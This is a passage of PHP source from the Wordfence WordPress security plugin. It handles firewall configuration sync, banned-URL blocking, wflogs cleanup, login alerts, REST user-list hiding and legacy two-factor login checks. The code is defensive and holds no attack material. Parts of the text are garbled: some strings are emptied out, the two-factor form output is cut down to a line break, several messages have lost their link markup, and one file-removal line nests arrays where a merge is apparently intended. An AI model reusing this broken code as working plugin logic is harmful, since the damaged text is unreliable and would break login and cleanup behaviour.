array_slice($removalHistory, 0, 4); array_unshift($removalHistory, array(time(), $filesRemoved)); wfConfig::setJSON('diagnosticsWflogsRemovalHistory', $removalHistory); } } } } } catch (Exception $e) { //Ignore } try { $configDefaults = array( 'apiKey' => wfConfig::get('apiKey'), 'isPaid' => !!wfConfig::get('isPaid'), 'siteURL' => $siteurl, 'homeURL' => $homeurl, 'whitelistedIPs' => (string) wfConfig::get('whitelisted'), 'whitelistedServiceIPs' => @json_encode(wfUtils::whitelistedServiceIPs()), 'howGetIPs' => (string) wfConfig::get('howGetIPs'), 'howGetIPs_trusted_proxies_unified' => implode("\n", wfUtils::unifiedTrustedProxies()), 'detectProxyRecommendation' => (string) wfConfig::get('detectProxyRecommendation'), 'other_WFNet' => !!wfConfig::get('other_WFNet', true), 'pluginABSPATH' => ABSPATH, 'serverIPs' => json_encode(wfUtils::serverIPs()), 'blockCustomText' => wpautop(wp_strip_all_tags(wfConfig::get('blockCustomText', ''))), 'disableWAFIPBlocking' => wfConfig::get('disableWAFIPBlocking'), 'wordpressVersion' => wfConfig::get('wordpressVersion'), 'wordpressPluginVersions' => wfConfig::get_ser('wordpressPluginVersions'), 'wordpressThemeVersions' => wfConfig::get_ser('wordpressThemeVersions'), 'WPLANG' => get_site_option('WPLANG'), ); if (wfUtils::isAdmin()) { $errorNonceKey = 'errorNonce_' . get_current_user_id(); $configDefaults[$errorNonceKey] = wp_create_nonce('wf-waf-error-page'); //Used by the AJAX watcher script } foreach ($configDefaults as $key => $value) { $waf->getStorageEngine()->setConfig($key, $value, 'synced'); } if (wfConfig::get('timeoffset_wf') !== false) { $waf->getStorageEngine()->setConfig('timeoffset_wf', wfConfig::get('timeoffset_wf'), 'synced'); } else { $waf->getStorageEngine()->unsetConfig('timeoffset_wf', 'synced'); } if (class_exists('wfWAFIPBlocksController')) { wfWAFIPBlocksController::setNeedsSynchronizeConfigSettings(); } if (wfUtils::isAdmin()) { if ($waf->getStorageEngine()->getConfig('wafStatus', '') == 'learning-mode') { if ($waf->getStorageEngine()->getConfig('learningModeGracePeriodEnabled', false)) { if ($waf->getStorageEngine()->getConfig('learningModeGracePeriod', 0) <= time()) { // Reached the end of the grace period, activate the WAF. $waf->getStorageEngine()->setConfig('wafStatus', 'enabled'); $waf->getStorageEngine()->setConfig('learningModeGracePeriodEnabled', 0); $waf->getStorageEngine()->unsetConfig('learningModeGracePeriod'); $firewall = new wfFirewall(); $firewall->syncStatus(true); } } } } if (empty($_GET['wordfence_syncAttackData'])) { $table_wfHits = wfDB::networkTable('wfHits'); if ($waf->getStorageEngine() instanceof wfWAFStorageMySQL) { $lastAttackMicroseconds = floatval($waf->getStorageEngine()->getConfig('lastAttackDataTruncateTime')); } else { $lastAttackMicroseconds = $wpdb->get_var("SELECT MAX(attackLogTime) FROM {$table_wfHits}"); } if (get_site_option('wordfence_lastSyncAttackData', 0) < time() - 8) { if ($waf->getStorageEngine()->hasNewerAttackData($lastAttackMicroseconds)) { if (get_site_option('wordfence_syncingAttackData') <= time() - 60) { // Could be the request to itself is not completing, add ajax to the head as a workaround $attempts = get_site_option('wordfence_syncAttackDataAttempts', 0); if ($attempts > 10) { add_action('wp_head', 'wordfence::addSyncAttackDataAjax'); add_action('login_head', 'wordfence::addSyncAttackDataAjax'); add_action('admin_head', 'wordfence::addSyncAttackDataAjax'); } else { update_site_option('wordfence_syncAttackDataAttempts', ++$attempts); wp_remote_post(add_query_arg('wordfence_syncAttackData', microtime(true), home_url('/')), array( 'timeout' => 0.01, 'blocking' => false, 'sslverify' => apply_filters('https_local_ssl_verify', false) )); } } } } } if ($waf instanceof wfWAFWordPress && ($learningModeAttackException = $waf->getLearningModeAttackException())) { $log = self::getLog(); $log->initLogRequest(); $request = $log->getCurrentRequest(); $request->action = 'learned:waf'; $request->attackLogTime = microtime(true); $ruleIDs = array(); /** @var wfWAFRule $failedRule */ foreach ($learningModeAttackException->getFailedRules() as $failedRule) { $ruleIDs[] = $failedRule->getRuleID(); } $actionData = array( 'learningMode' => 1, 'failedRules' => $ruleIDs, 'paramKey' => $learningModeAttackException->getParamKey(), 'paramValue' => $learningModeAttackException->getParamValue(), ); if ($ruleIDs && $ruleIDs[0]) { $rule = $waf->getRule($ruleIDs[0]); if ($rule) { $request->actionDescription = $rule->getDescription(); $actionData['category'] = $rule->getCategory(); $actionData['ssl'] = $waf->getRequest()->getProtocol() === 'https'; $actionData['fullRequest'] = base64_encode($waf->getRequest()); } } $request->actionData = wfRequestModel::serializeActionData($actionData); register_shutdown_function(array($request, 'save')); self::scheduleSendAttackData(); } } catch (wfWAFStorageFileException $e) { // We don't have anywhere to write files in this scenario. } catch (wfWAFStorageEngineMySQLiException $e) { // Ignore and continue } } if(wfConfig::get('firewallEnabled')){ $wfLog = self::getLog(); $wfLog->firewallBadIPs(); $IP = wfUtils::getIP(); if (wfBlock::isWhitelisted($IP)) { return; } if (wfConfig::get('neverBlockBG') == 'neverBlockUA' && wfCrawl::isGoogleCrawler()) { return; } if (wfConfig::get('neverBlockBG') == 'neverBlockVerified' && wfCrawl::isVerifiedGoogleCrawler()) { return; } if (wfConfig::get('bannedURLs', false)) { $URLs = explode("\n", wfUtils::cleanupOneEntryPerLine(wfConfig::get('bannedURLs'))); foreach ($URLs as $URL) { if (preg_match(wfUtils::patternToRegex($URL, ''), $_SERVER['REQUEST_URI'])) { $reason = __('Accessed a banned URL', 'wordfence'); wfBlock::createIP($reason, $IP, wfBlock::blockDuration(), time(), time(), 1, wfBlock::TYPE_IP_AUTOMATIC_TEMPORARY); wfActivityReport::logBlockedIP($IP, null, 'bannedurl'); $wfLog->tagRequestForBlock($reason); $wfLog->do503(3600, __("Accessed a banned URL", 'wordfence')); //exits } } } if (wfConfig::get('other_blockBadPOST') == '1' && $_SERVER['REQUEST_METHOD'] == 'POST' && empty($_SERVER['HTTP_USER_AGENT']) && empty($_SERVER['HTTP_REFERER'])) { $reason = __('POST received with blank user-agent and referer', 'wordfence'); wfBlock::createIP($reason, $IP, wfBlock::blockDuration(), time(), time(), 1, wfBlock::TYPE_IP_AUTOMATIC_TEMPORARY); wfActivityReport::logBlockedIP($IP, null, 'badpost'); $wfLog->tagRequestForBlock($reason); $wfLog->do503(3600, __("POST received with blank user-agent and referer", 'wordfence')); //exits } } } private static function _wflogsContents() { $dir = opendir(WFWAF_LOG_PATH); if ($dir) { $contents = array(); while ($path = readdir($dir)) { if ($path == '.' || $path == '..') { continue; } $contents[] = $path; } closedir($dir); return $contents; } return false; } /** * Removes a path within wflogs, recursing as necessary. * * @param string $file * @param array $processedDirs * @return array The list of removed files/folders. */ private static function _recursivelyRemoveWflogs($file, $processedDirs = array()) { if (preg_match('~(?:^|/|\\\\)\.\.(?:/|\\\\|$)~', $file)) { return array(); } if (stripos(WFWAF_LOG_PATH, 'wflogs') === false) { //Sanity check -- if not in a wflogs folder, user will have to do removal manually return array(); } $path = rtrim(WFWAF_LOG_PATH, '/') . '/' . $file; if (is_link($path)) { if (@unlink($path)) { return array($file); } return array(); } if (is_dir($path)) { $real = realpath($file); if (in_array($real, $processedDirs)) { return array(); } $processedDirs[] = $real; $count = 0; $dir = opendir($path); if ($dir) { $contents = array(); while ($sub = readdir($dir)) { if ($sub == '.' || $sub == '..') { continue; } $contents[] = $sub; } closedir($dir); $filesRemoved = array(); foreach ($contents as $f) { $removed = self::_recursivelyRemoveWflogs($file . '/' . $f, $processedDirs); $filesRemoved = array($filesRemoved, $removed); } } if (@rmdir($path)) { $filesRemoved[] = $file; } return $filesRemoved; } if (@unlink($path)) { return array($file); } return array(); } public static function loginAction($username){ if(sizeof($_POST) < 1){ return; } //only execute if login form is posted if(! $username){ return; } wfConfig::inc('totalLogins'); $user = get_user_by('login', $username); $userID = $user ? $user->ID : 0; self::getLog()->logLogin('loginOK', 0, $username); if(wfUtils::isAdmin($user)){ wfConfig::set_ser('lastAdminLogin', array( 'userID' => $userID, 'username' => $username, 'firstName' => $user->first_name, 'lastName' => $user->last_name, 'time' => wfUtils::localHumanDateShort(), 'IP' => wfUtils::getIP() )); } $salt = wp_salt('logged_in'); //TODO: Drop support for legacy cookie after 1 year $legacyCookieName = 'wf_loginalerted_' . hash_hmac('sha256', wfUtils::getIP() . '|' . $user->ID, $salt); $cookieName = 'wf_loginalerted_' . hash_hmac('sha256', $user->ID, $salt); $cookieValue = hash_hmac('sha256', $user->user_login, $salt); $newDevice = !(isset($_COOKIE[$legacyCookieName]) && hash_equals($cookieValue, $_COOKIE[$legacyCookieName])); //Check legacy cookie if($newDevice){ $newDevice = !(isset($_COOKIE[$cookieName]) && hash_equals($cookieValue, $_COOKIE[$cookieName])); } else{ $_COOKIE[$cookieName]=$cookieValue; } if(wfUtils::isAdmin($userID)){ $securityEvent = 'adminLogin'; $alertCallback = array(new wfAdminLoginAlert($cookieName, $cookieValue, $username, wfUtils::getIP()), 'send'); } else { $securityEvent = 'nonAdminLogin'; $alertCallback = array(new wfNonAdminLoginAlert($cookieName, $cookieValue, $username, wfUtils::getIP()), 'send'); } if($newDevice) $securityEvent.='NewLocation'; do_action('wordfence_security_event', $securityEvent, array( 'username' => $username, 'ip' => wfUtils::getIP(), ), $alertCallback); if (wfConfig::get(wfUtils::isAdmin($userID)?'alertOn_firstAdminLoginOnly':'alertOn_firstNonAdminLoginOnly')) { //Purge legacy cookie if still present if(array_key_exists($legacyCookieName, $_COOKIE)) wfUtils::setcookie($legacyCookieName, '', 1, '/', null, wfUtils::isFullSSL(), true); wfUtils::setcookie($cookieName, $cookieValue, time() + (86400 * 365), '/', null, wfUtils::isFullSSL(), true); } } public static function registrationFilter($errors, $sanitizedLogin, $userEmail) { if (wfConfig::get('loginSec_blockAdminReg') && $sanitizedLogin == 'admin') { $errors->add('user_login_error', __('ERROR: You can\'t register using that username', 'wordfence')); } return $errors; } public static function wooRegistrationFilter($wooCustomerData) { /* $wooCustomerData matches: array( 'user_login' => $username, 'user_pass' => $password, 'user_email' => $email, 'role' => 'customer', ) */ if (wfConfig::get('loginSec_blockAdminReg') && is_array($wooCustomerData) && isset($wooCustomerData['user_login']) && isset($wooCustomerData['user_email']) && preg_match('/^admin\d*$/i', $wooCustomerData['user_login'])) { //Converts a username of `admin` generated from something like `admin@example.com` to `adminexample` $emailComponents = explode('@', $wooCustomerData['user_email']); if (strpos(wfUtils::array_last($emailComponents), '.') === false) { //e.g., admin@localhost $wooCustomerData['user_login'] .= wfUtils::array_last($emailComponents); } else { //e.g., admin@example.com $hostComponents = explode('.', wfUtils::array_last($emailComponents)); array_pop($hostComponents); $wooCustomerData['user_login'] .= wfUtils::array_last($hostComponents); } //If it's still `admin` at this point, it will fall through and get blocked by wordfence::blacklistedUsernames } return $wooCustomerData; } public static function oembedAuthorFilter($data, $post, $width, $height) { unset($data['author_name']); unset($data['author_url']); return $data; } public static function jsonAPIAuthorFilter($response, $handler, $request) { $route = $request->get_route(); if (!current_user_can('edit_others_posts')) { $urlBase = wfWP_REST_Users_Controller::wfGetURLBase(); if (preg_match('~' . preg_quote($urlBase, '~') . '/*$~i', $route)) { $error = new WP_Error('rest_user_cannot_view', __('Sorry, you are not allowed to list users.', 'wordfence'), array('status' => rest_authorization_required_code())); $response = rest_ensure_response($error); if (!defined('WORDFENCE_REST_API_SUPPRESSED')) { define('WORDFENCE_REST_API_SUPPRESSED', true); } } else if (preg_match('~' . preg_quote($urlBase, '~') . '/+(\d+)/*$~i', $route, $matches)) { $id = (int) $matches[1]; if (get_current_user_id() !== $id) { $error = new WP_Error('rest_user_invalid_id', __('Invalid user ID.', 'wordfence'), array('status' => 404)); $response = rest_ensure_response($error); if (!defined('WORDFENCE_REST_API_SUPPRESSED')) { define('WORDFENCE_REST_API_SUPPRESSED', true); } } } } return $response; } public static function jsonAPIAdjustHeaders($response, $server, $request) { if (defined('WORDFENCE_REST_API_SUPPRESSED')) { $response->header('Allow', 'GET'); } return $response; } public static function wpSitemapUserProviderFilter($provider, $name) { if ($name === 'users') { return false; } return $provider; } public static function _filterCentralFromLiveTraffic($dispatch_result, $request, $route, $handler) { if (preg_match('~^/wordfence/v\d+/~i', $route)) { self::getLog()->canLogHit = false; } return $dispatch_result; } public static function showTwoFactorField() { $existingContents = ob_get_contents(); if (!preg_match('/wftwofactornonce:([0-9]+)\/(.+?)\s/', $existingContents, $matches)) { return; } $userID = intval($matches[1]); $twoFactorNonce = preg_replace('/[^a-f0-9]/i', '', $matches[2]); if (!self::verifyTwoFactorIntermediateValues($userID, $twoFactorNonce)) { return; } //Strip out the username and password fields $formPosition = strrpos($existingContents, '', $formPosition); if ($formPosition === false || $formTagEnd === false) { return; } ob_end_clean(); ob_start(); echo substr($existingContents, 0, $formTagEnd + 1); //Add the 2FA field echo "

"; } private static function verifyTwoFactorIntermediateValues($userID, $twoFactorNonce) { $user = get_user_by('ID', $userID); if (!$user || get_class($user) != 'WP_User') { return false; } //Check that the user exists $expectedNonce = get_user_meta($user->ID, '_wf_twoFactorNonce', true); $twoFactorNonceTime = get_user_meta($user->ID, '_wf_twoFactorNonceTime', true); if (empty($twoFactorNonce) || empty($twoFactorNonceTime)) { return false; } //Ensure the two factor nonce and time have been set if ($twoFactorNonce != $expectedNonce) { return false; } //Verify the nonce matches the expected $twoFactorUsers = wfConfig::get_ser('twoFactorUsers', array()); if (!$twoFactorUsers || !is_array($twoFactorUsers)) { return false; } //Make sure there are two factor users configured foreach ($twoFactorUsers as &$t) { //Ensure the two factor nonce hasn't expired if ($t[0] == $user->ID && $t[3] == 'activated') { if (isset($t[5]) && $t[5] == 'authenticator') { $graceTime = WORDFENCE_TWO_FACTOR_GRACE_TIME_AUTHENTICATOR; } else { $graceTime = WORDFENCE_TWO_FACTOR_GRACE_TIME_PHONE; } return ((time() - $twoFactorNonceTime) < $graceTime); } } return false; } public static function authenticateFilter($authUser, $username, $passwd) { wfConfig::inc('totalLoginHits'); //The total hits to wp-login.php including logins, logouts and just hits. $IP = wfUtils::getIP(); $secEnabled = wfConfig::get('loginSecurityEnabled'); $twoFactorUsers = wfConfig::get_ser('twoFactorUsers', array()); $userDat = self::$userDat; $checkBreachList = $secEnabled && !wfBlock::isWhitelisted($IP) && wfConfig::get('loginSec_breachPasswds_enabled') && is_object($authUser) && get_class($authUser) == 'WP_User' && ((wfConfig::get('loginSec_breachPasswds') == 'admins' && wfUtils::isAdmin($authUser)) || (wfConfig::get('loginSec_breachPasswds') == 'pubs' && user_can($authUser, 'publish_posts'))); $usingBreachedPassword = false; if ($checkBreachList) { $cacheStatus = wfCredentialsController::cachedCredentialStatus($authUser); if ($cacheStatus != wfCredentialsController::UNCACHED) { $usingBreachedPassword = ($cacheStatus == wfCredentialsController::LEAKED); } else { if (wfCredentialsController::isLeakedPassword($authUser->username, $passwd)) { $usingBreachedPassword = true; } wfCredentialsController::setCachedCredentialStatus($authUser, $usingBreachedPassword); } } $checkTwoFactor = $secEnabled && !wfBlock::isWhitelisted($IP) && wfConfig::get('isPaid') && isset($twoFactorUsers) && is_array($twoFactorUsers) && sizeof($twoFactorUsers) > 0 && is_object($userDat) && get_class($userDat) == 'WP_User' && wfCredentialsController::useLegacy2FA(); if ($checkTwoFactor) { $twoFactorRecord = false; $hasActivatedTwoFactorUser = false; foreach ($twoFactorUsers as &$t) { if ($t[3] == 'activated') { $userID = $t[0]; $testUser = get_user_by('ID', $userID); if (is_object($testUser) && wfUtils::isAdmin($testUser)) { $hasActivatedTwoFactorUser = true; } if ($userID == $userDat->ID) { $twoFactorRecord = &$t; } } } if (isset($_POST['wordfence_authFactor']) && $_POST['wordfence_authFactor'] && $twoFactorRecord) { //User authenticated with name and password, 2FA code ready to check $userID = $userDat->ID; if (is_object($authUser) && get_class($authUser) == 'WP_User' && $authUser->ID == $userID) { //Do nothing. This is the code path the old method of including the code in the password field will take -- since we already have a valid $authUser, skip the nonce verification portion } else if (isset($_POST['wordfence_twoFactorNonce'])) { $twoFactorNonce = preg_replace('/[^a-f0-9]/i', '', $_POST['wordfence_twoFactorNonce']); if (!self::verifyTwoFactorIntermediateValues($userID, $twoFactorNonce)) { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('VERIFICATION FAILED: Two-factor authentication verification failed. Please try again.', 'wordfence'), array('strong'=>array()))); return self::processBruteForceAttempt(self::$authError, $username, $passwd); } } else { //Code path for old method, invalid password the second time self::$authError = $authUser; if (is_wp_error(self::$authError) && (self::$authError->get_error_code() == 'invalid_username' || $authUser->get_error_code() == 'invalid_email' || self::$authError->get_error_code() == 'incorrect_password' || $authUser->get_error_code() == 'authentication_failed') && wfConfig::get('loginSec_maskLoginErrors')) { self::$authError = new WP_Error('incorrect_password', sprintf(/* translators: 1. WordPress username. 2. Password reset URL. */ wp_kses(__('ERROR: The username or password you entered is incorrect. Lost your password?', 'wordfence'), array('strong'=>array(), 'a'=>array('href'=>array(), 'title'=>array()))), $username, wp_lostpassword_url())); } return self::processBruteForceAttempt(self::$authError, $username, $passwd); } if ($usingBreachedPassword) { wfAdminNoticeQueue::removeAdminNotice(false, 'previousIPBreachPassword', array($userID)); wfAdminNoticeQueue::addAdminNotice(wfAdminNotice::SEVERITY_CRITICAL, sprintf( /* translators: 1. WordPress admin panel URL. 2. Support URL. */ __('WARNING: The password you are using exists on lists of passwords leaked in data breaches. Attackers use such lists to break into sites and install malicious code. Please change your password. Learn More (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), self_admin_url('profile.php'), wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD) ), '2faBreachPassword', array($authUser->ID)); } if (isset($twoFactorRecord[5])) { //New method TOTP $mode = $twoFactorRecord[5]; $code = preg_replace('/[^a-f0-9]/i', '', $_POST['wordfence_authFactor']); $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $codeResult = $api->call('twoFactorTOTP_verify', array(), array('totpid' => $twoFactorRecord[6], 'code' => $code, 'mode' => $mode)); if (isset($codeResult['notPaid']) && $codeResult['notPaid']) { //No longer a paid key, let them sign in without two factor } else if (isset($codeResult['ok']) && $codeResult['ok']) { //Everything's good, let the sign in continue } else { if (is_object($authUser) && get_class($authUser) == 'WP_User' && $authUser->ID == $userID) { //Using the old method of appending the code to the password if ($mode == 'authenticator') { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_invalid', wp_kses(__('INVALID CODE: Please sign in again and add a space, the letters wf, and the code from your authenticator app to the end of your password (e.g., wf123456).', 'wordfence'), array('strong'=>array(), 'code'=>array()))); } else { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_invalid', wp_kses(__('INVALID CODE: Please sign in again and add a space, the letters wf, and the code sent to your phone to the end of your password (e.g., wf123456).', 'wordfence'), array('strong'=>array(), 'code'=>array()))); } } else { $loginNonce = wfWAFUtils::random_bytes(20); if ($loginNonce === false) { //Should never happen but is technically possible remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('AUTHENTICATION FAILURE: A temporary failure was encountered while trying to log in. Please try again.', 'wordfence'), array('strong'=>array()))); return self::$authError; } $loginNonce = bin2hex($loginNonce); update_user_meta($userDat->ID, '_wf_twoFactorNonce', $loginNonce); update_user_meta($userDat->ID, '_wf_twoFactorNonceTime', time()); if ($mode == 'authenticator') { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_invalid', wp_kses(__('INVALID CODE: You need to enter the code generated by your authenticator app. The code should be a six digit number (e.g., 123456).', 'wordfence'), array('strong'=>array())) . ''); } else { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_invalid', wp_kses(__('INVALID CODE: You need to enter the code generated sent to your phone. The code should be a six digit number (e.g., 123456).', 'wordfence'), array('strong'=>array())) . ''); } } return self::processBruteForceAttempt(self::$authError, $username, $passwd); } } catch (Exception $e) { if (self::isDebugOn()) { error_log('TOTP validation error: ' . $e->getMessage()); } } // Couldn't connect to noc1, let them sign in since the password was correct. } else { //Old method phone authentication $authFactor = $_POST['wordfence_authFactor']; if (strlen($authFactor) == 4) { $authFactor = 'wf' . $authFactor; } if ($authFactor == $twoFactorRecord[2] && $twoFactorRecord[4] > time()) { // Set this 2FA code to expire in 30 seconds (for other plugins hooking into the auth process) $twoFactorRecord[4] = time() + 30; wfConfig::set_ser('twoFactorUsers', $twoFactorUsers); } else if ($authFactor == $twoFactorRecord[2]) { $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $codeResult = $api->call('twoFactor_verification', array(), array('phone' => $twoFactorRecord[1])); if (isset($codeResult['notPaid']) && $codeResult['notPaid']) { //No longer a paid key, let them sign in without two factor } else if (isset($codeResult['ok']) && $codeResult['ok']) { $twoFactorRecord[2] = $codeResult['code']; $twoFactorRecord[4] = time() + 1800; //30 minutes until code expires wfConfig::set_ser('twoFactorUsers', $twoFactorUsers); //save the code the user needs to enter and return an error. $loginNonce = wfWAFUtils::random_bytes(20); if ($loginNonce === false) { //Should never happen but is technically possible remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('AUTHENTICATION FAILURE: A temporary failure was encountered while trying to log in. Please try again.', 'wordfence'), array('strong'=>array()))); return self::$authError; } $loginNonce = bin2hex($loginNonce); update_user_meta($userDat->ID, '_wf_twoFactorNonce', $loginNonce); update_user_meta($userDat->ID, '_wf_twoFactorNonceTime', time()); remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('CODE EXPIRED. CHECK YOUR PHONE: The code you entered has expired. Codes are only valid for 30 minutes for security reasons. We have sent you a new code. Please sign in using your username, password, and the new code we sent you.', 'wordfence'), array('strong'=>array())) . ''); return self::$authError; } //else: No new code was received. Let them sign in with the expired code. } catch (Exception $e) { // Couldn't connect to noc1, let them sign in since the password was correct. } } else { //Bad code, so cancel the login and return an error to user. $loginNonce = wfWAFUtils::random_bytes(20); if ($loginNonce === false) { //Should never happen but is technically possible remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('AUTHENTICATION FAILURE: A temporary failure was encountered while trying to log in. Please try again.', 'wordfence'), array('strong'=>array()))); return self::$authError; } $loginNonce = bin2hex($loginNonce); update_user_meta($userDat->ID, '_wf_twoFactorNonce', $loginNonce); update_user_meta($userDat->ID, '_wf_twoFactorNonceTime', time()); remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_invalid', wp_kses(__('INVALID CODE: You need to enter your password and the code we sent to your phone. The code should start with \'wf\' and should be four characters (e.g., wfAB12).', 'wordfence'), array('strong'=>array())) . ''); return self::processBruteForceAttempt(self::$authError, $username, $passwd); } } delete_user_meta($userDat->ID, '_wf_twoFactorNonce'); delete_user_meta($userDat->ID, '_wf_twoFactorNonceTime'); $authUser = $userDat; //Log in as the user we saved in the wp_authenticate action } else if (is_object($authUser) && get_class($authUser) == 'WP_User') { //User authenticated with name and password, prompt for the 2FA code //Verify at least one administrator has 2FA enabled $requireAdminTwoFactor = $hasActivatedTwoFactorUser && wfConfig::get('loginSec_requireAdminTwoFactor'); if ($twoFactorRecord) { if ($twoFactorRecord[0] == $userDat->ID && $twoFactorRecord[3] == 'activated') { //Yup, enabled, so require the code if ($usingBreachedPassword) { wfAdminNoticeQueue::removeAdminNotice(false, 'previousIPBreachPassword', array($authUser->ID)); wfAdminNoticeQueue::addAdminNotice(wfAdminNotice::SEVERITY_CRITICAL, sprintf( /* translators: 1. WordPress admin panel URL. 2. Support URL. */ __('WARNING: The password you are using exists on lists of passwords leaked in data breaches. Attackers use such lists to break into sites and install malicious code. Please change your password. Learn More (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), self_admin_url('profile.php'), wfSupportController::esc_supportURL(wfSupportController::ITEM_USING_BREACH_PASSWORD)), '2faBreachPassword', array($authUser->ID)); } $loginNonce = wfWAFUtils::random_bytes(20); if ($loginNonce === false) { //Should never happen but is technically possible, allow login $requireAdminTwoFactor = false; } else { $loginNonce = bin2hex($loginNonce); update_user_meta($userDat->ID, '_wf_twoFactorNonce', $loginNonce); update_user_meta($userDat->ID, '_wf_twoFactorNonceTime', time()); if (isset($twoFactorRecord[5])) { //New method TOTP authentication if ($twoFactorRecord[5] == 'authenticator') { if (self::hasGDLimitLoginsMUPlugin() && function_exists('limit_login_get_address')) { $retries = get_option('limit_login_retries', array()); $ip = limit_login_get_address(); if (!is_array($retries)) { $retries = array(); } if (isset($retries[$ip]) && is_int($retries[$ip])) { $retries[$ip]--; } else { $retries[$ip] = 0; } update_option('limit_login_retries', $retries); } $allowSeparatePrompt = ini_get('output_buffering') > 0; if (wfConfig::get('loginSec_enableSeparateTwoFactor') && $allowSeparatePrompt) { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('CODE REQUIRED: Please check your authenticator app for the current code. Enter it below to sign in.', 'wordfence'), array('strong'=>array())) . ''); return self::$authError; } else { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('CODE REQUIRED: Please check your authenticator app for the current code. Please sign in again and add a space, the letters wf, and the code to the end of your password (e.g., wf123456).', 'wordfence'), array('strong'=>array(), 'code'=>array()))); return self::$authError; } } else { //Phone TOTP $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $codeResult = $api->call('twoFactorTOTP_sms', array(), array('totpid' => $twoFactorRecord[6])); if (isset($codeResult['notPaid']) && $codeResult['notPaid']) { $requireAdminTwoFactor = false; //Let them sign in without two factor if their API key has expired or they're not paid and for some reason they have this set up. } else { if (isset($codeResult['ok']) && $codeResult['ok']) { if (self::hasGDLimitLoginsMUPlugin() && function_exists('limit_login_get_address')) { $retries = get_option('limit_login_retries', array()); $ip = limit_login_get_address(); if (!is_array($retries)) { $retries = array(); } if (isset($retries[$ip]) && is_int($retries[$ip])) { $retries[$ip]--; } else { $retries[$ip] = 0; } update_option('limit_login_retries', $retries); } $allowSeparatePrompt = ini_get('output_buffering') > 0; if (wfConfig::get('loginSec_enableSeparateTwoFactor') && $allowSeparatePrompt) { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('CHECK YOUR PHONE: A code has been sent to your phone and will arrive within 30 seconds. Enter it below to sign in.', 'wordfence'), array('strong'=>array())) . ''); return self::$authError; } else { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('CHECK YOUR PHONE: A code has been sent to your phone and will arrive within 30 seconds. Please sign in again and add a space, the letters wf, and the code to the end of your password (e.g., wf123456).', 'wordfence'), array('strong'=>array(), 'code'=>array()))); return self::$authError; } } else { //oops, our API returned an error. $requireAdminTwoFactor = false; //Let them sign in without two factor because the API is broken and we don't want to lock users out of their own systems. } } } catch (Exception $e) { if (self::isDebugOn()) { error_log('TOTP SMS error: ' . $e->getMessage()); } $requireAdminTwoFactor = false; // Couldn't connect to noc1, let them sign in since the password was correct. } } } else { //Old method phone authentication $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $codeResult = $api->call('twoFactor_verification', array(), array('phone' => $twoFactorRecord[1])); if (isset($codeResult['notPaid']) && $codeResult['notPaid']) { $requireAdminTwoFactor = false; //Let them sign in without two factor if their API key has expired or they're not paid and for some reason they have this set up. } else { if (isset($codeResult['ok']) && $codeResult['ok']) { $twoFactorRecord[2] = $codeResult['code']; $twoFactorRecord[4] = time() + 1800; //30 minutes until code expires wfConfig::set_ser('twoFactorUsers', $twoFactorUsers); //save the code the user needs to enter and return an error. if (self::hasGDLimitLoginsMUPlugin() && function_exists('limit_login_get_address')) { $retries = get_option('limit_login_retries', array()); $ip = limit_login_get_address(); if (!is_array($retries)) { $retries = array(); } if (isset($retries[$ip]) && is_int($retries[$ip])) { $retries[$ip]--; } else { $retries[$ip] = 0; } update_option('limit_login_retries', $retries); } $allowSeparatePrompt = ini_get('output_buffering') > 0; if (wfConfig::get('loginSec_enableSeparateTwoFactor') && $allowSeparatePrompt) { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('CHECK YOUR PHONE: A code has been sent to your phone and will arrive within 30 seconds. Enter it below to sign in.', 'wordfence'), array('strong'=>array())) . ''); return self::$authError; } else { remove_action('login_errors', 'limit_login_fixup_error_messages'); //We're forced to do this because limit-login-attempts does not have any allowances for legitimate error messages self::$authError = new WP_Error('twofactor_required', wp_kses(__('CHECK YOUR PHONE: A code has been sent to your phone and will arrive within 30 seconds. Please sign in again 